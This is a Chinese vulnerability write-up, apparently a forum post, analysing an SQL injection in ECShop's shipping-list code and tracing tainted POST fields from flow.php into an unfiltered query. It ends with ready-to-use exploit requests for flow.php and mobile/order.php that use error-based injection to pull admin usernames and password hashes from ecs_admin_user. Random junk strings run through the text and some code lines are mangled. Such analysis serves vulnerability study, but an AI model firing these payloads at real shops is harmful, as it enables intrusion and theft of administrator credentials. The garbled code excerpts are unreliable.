ecshop全版本注入分析

admin

前段时间大概2012年圣诞节左右，在t00ls上看见ecshop全版本注入，当时也下载了最新的程序分析了下,最近考试比较忙，今天刚考完，把我分析的记录下来。
. e# h4 C; }" D9 e, z: E4 V) e
& d& R$ H6 J, \) ]/ p    漏洞关键文件：

    /includes/lib_order.php
$ \/ _" H, D" M1 _2 ^( ^
8 g4 P( m. {& q& g$ q    关键函数：
- M  A* ^( }8 _% t; l
' y# ]( X, @" u3 }) o8 M( G

. r- L$ v7 i- `: K01     function available_shipping_list($region_id_list)
$ R. G. Z8 G+ V
3 _7 E" K" q* a( J02 {
( J+ |* Z% t1 W5 g, F; ~2 z  ?7 j! j- `
9 p, {- @' l* ?  [03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
; ]( Z; F( z2 S' [6 m
04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
5 ?5 }: ]1 c4 w" w9 k
05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .
9 h9 V7 M) c* \$ z4 L* g
06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .

' [4 [: o) D# |- w# X3 Q4 {  \- d07                 $GLOBALS['ecs']->table('area_region') . ' AS r '.

08             'WHERE r.region_id ' . db_create_in($region_id_list) .
1 @7 \7 K3 K5 T8 y& e
09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';

) N2 y4 {2 p% n) s) P2 x4 O10   
4 s3 x! n5 Z& P( u  t
11     return $GLOBALS['db']->getAll($sql);

12 }
6 B2 M5 ]: [4 e! Q
, }3 {' u. a/ j, |+ J/ z显然对传入的参数没有任何过滤就带入了查询语句。

# {, H7 i  y0 v. ~0 @; T下面我们追踪这个函数在flow.php中：
第531行：   
  ~. u# b  `! _+ Z& o
1 $shipping_list     = available_shipping_list($region);

1 |# Q! R$ a! @9 ]

% X" F2 O( C" w* g
; x$ v+ s' K) H2 e/ g8 j5 M% S
再对传入变量进行追踪：
, u' o5 J" n) @9 z
( J) R$ a$ L6 ~  F  v第530行：   

1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);
+ M  w  i+ N# y


5 x% h) y1 M; b+ `* _+ d
7 O/ w2 j7 m/ i. k
) \% j5 W* {8 L第473行：        

1 $consignee = get_consignee($_SESSION['user_id']);

4 [- A* t2 H' }到了一个关键函数：
! @1 u9 `- @0 N
/includes/lib_order.php
. @  w! Y( \* A3 H, X) x$ z
9 q% V0 _. q' l+ t" |
( h+ ^3 g- T6 f- Z5 Z  l

) u% p5 T0 h: U9 Y2 r9 W" p2 N% C
2 @. ?/ _. l1 ]& }( w1 N- \01 function get_consignee($user_id)

02 {
) i" f1 S# |3 T& y
, ?6 ?+ t& P" v* t& h, P( ]/ D03     if (isset($_SESSION['flow_consignee']))

04     {

05         /* 如果存在session，则直接返回session中的收货人信息 */

0 |* a' m4 `: p" N06   
6 H6 v8 D' {& C" s* P( x, W
07         return $_SESSION['flow_consignee'];

1 ~/ j! n7 R7 L: ]! J08     }
9 P3 a6 ]+ |# q. b* ~) {
09     else
2 @% I* ?4 b" A6 L. ?. S. p
10     {
- y4 Y6 y, `4 Q( p2 Z! |( X
11         /* 如果不存在，则取得用户的默认收货人信息 */

0 A: I4 Q! v# ?12         $arr = array();

13   
& q2 A- `- r) \: u% q& Y% \. X
14         if ($user_id > 0)
! _5 @4 v" U+ |8 ]
+ A1 d9 n9 [# w$ N15         {

16             /* 取默认地址 */

5 x) }% B, @& j% f. Q17             $sql = "SELECT ua.*".

$ W$ l( [2 h. i1 Y4 I18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.

/ Q  |( X9 f( K19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";
+ X$ L4 b; g0 F. L4 ]$ L% `
20   

5 u: j% `+ E$ f0 X) `/ C21             $arr = $GLOBALS['db']->getRow($sql);

3 j/ p8 w4 I- s3 U; _7 `; Y- N$ b/ _22         }

23   

24         return $arr;

- V2 R- A$ ^1 ^+ t0 o25     }
' B6 N( m2 `: w+ a
4 c5 }" H* T# w+ t' o- \: I26 }

显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢？
2 h1 V; y9 ]! g$ N


关键点:
, \; U* z; M' R  ^7 O: X+ f6 O
4 c9 L8 S( \3 T; C8 ^* a第400行：    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);
5 R+ \2 W& V; e* `* U
这里对传入参数反转义存入$_SESSION中。
$ J' F% d0 L6 B( a- v$ {
& P) P1 v& Y4 f1 z$ ^; o
! P# C6 O3 [( o* M8 ]3 \% H
然后看下：
: U( P& z" |6 x+ o


   

01 $consignee = array(

02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']),
% n8 N2 j& h3 E. }1 Z
03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']),
5 T3 }* y3 S  s1 B4 i6 M6 {
04         'country'       => empty($_POST['country'])    ? '' _POST['country'],

. D$ B! t; l3 j3 \+ c0 s& d' O: ?05         'province'      => empty($_POST['province'])   ? '' _POST['province'],

& ~9 l& x7 b+ m$ [. r; H# k7 F06         'city'          => empty($_POST['city'])       ? '' _POST['city'],
) f- y- V* d  N
! @& |+ ^  s4 O* @- M07         'district'      => empty($_POST['district'])   ? '' _POST['district'],
8 Q6 @# @8 v2 t% h
08         'email'         => empty($_POST['email'])      ? '' _POST['email'],

. R7 V  ~3 u! k+ e, W09         'address'       => empty($_POST['address'])    ? '' _POST['address'],

10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])),

# r: j0 J% ^( f8 l11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])),

& {1 T% q$ ]$ m* v% e" A12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])),

$ G  `/ \& C- n13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],
* f% o2 C, e: ]# X# T& L# S. c
14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'],
, q* F; ]; i$ `! _* m
15     );

好了注入就这样出现了。

/ G2 ^8 T- d; c3 ?' J==================
' E  y- F9 p& {, @( a
; Z* W. T6 r+ {; i. z$ Q! w. r& e注入测试：
' ^& Y7 b. W3 n! g& o2 J5 q/ a
8 h' b- E% P$ i, @$ T' O9 A环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)

测试程序：ECShop_V2.7.3_UTF8_release1106
  f$ g' o& Q4 _( l6 S& c. E5 a
2 g, p% F5 m% G, `$ [

1.首先需要点击一个商品加入购物车
( K) i* T7 M+ l8 j. q# G7 P
5 A7 ^2 v3 [! g( _! v/ B2.注册一个会员帐号
- A) A: T& u: v: O1 F' q0 N
8 o. s! {1 L2 c5 f4 b( w! @3.post提交数据
; f6 U, U& [- D
% w- I; j4 N, X
3 X/ |4 |! z/ r7 I$ P6 q  e( U. l
1 http://127.0.0.1/ecshop/flow.php

2   
  i& g6 r+ G  ~, E
; r. ~$ I0 U6 `3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
举一反三，我们根据这个漏洞我们可以继续深入挖掘：
+ a2 X& x3 Q9 q! j3 B* h
我们搜寻关键函数function available_shipping_list()

在文件/moblie/order.php中出现有，次文件为手机浏览文件功能基本和flow.php相同，代码流程基本相同

利用exp:

1.点击一个商品，点击购买商标
3 h6 n" `  ]2 v+ X; M
  k) h; c+ c1 }2.登录会员帐号

3.post提交：
) h. }) W' J8 @) V  X
: ~2 n7 ?+ i- d( N. H& D2 v6 vhttp://127.0.0.1/ecshop/mobile/order.php
# D3 M7 X0 n( P" `" ], w( H
% t# |# T$ m' @+ S5 U4 f
% b% ]- X/ ~0 `3 a2 x
4 L; J" }* a8 s- k0 ]" Wcountry=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=

) I$ M. A! {7 l6 L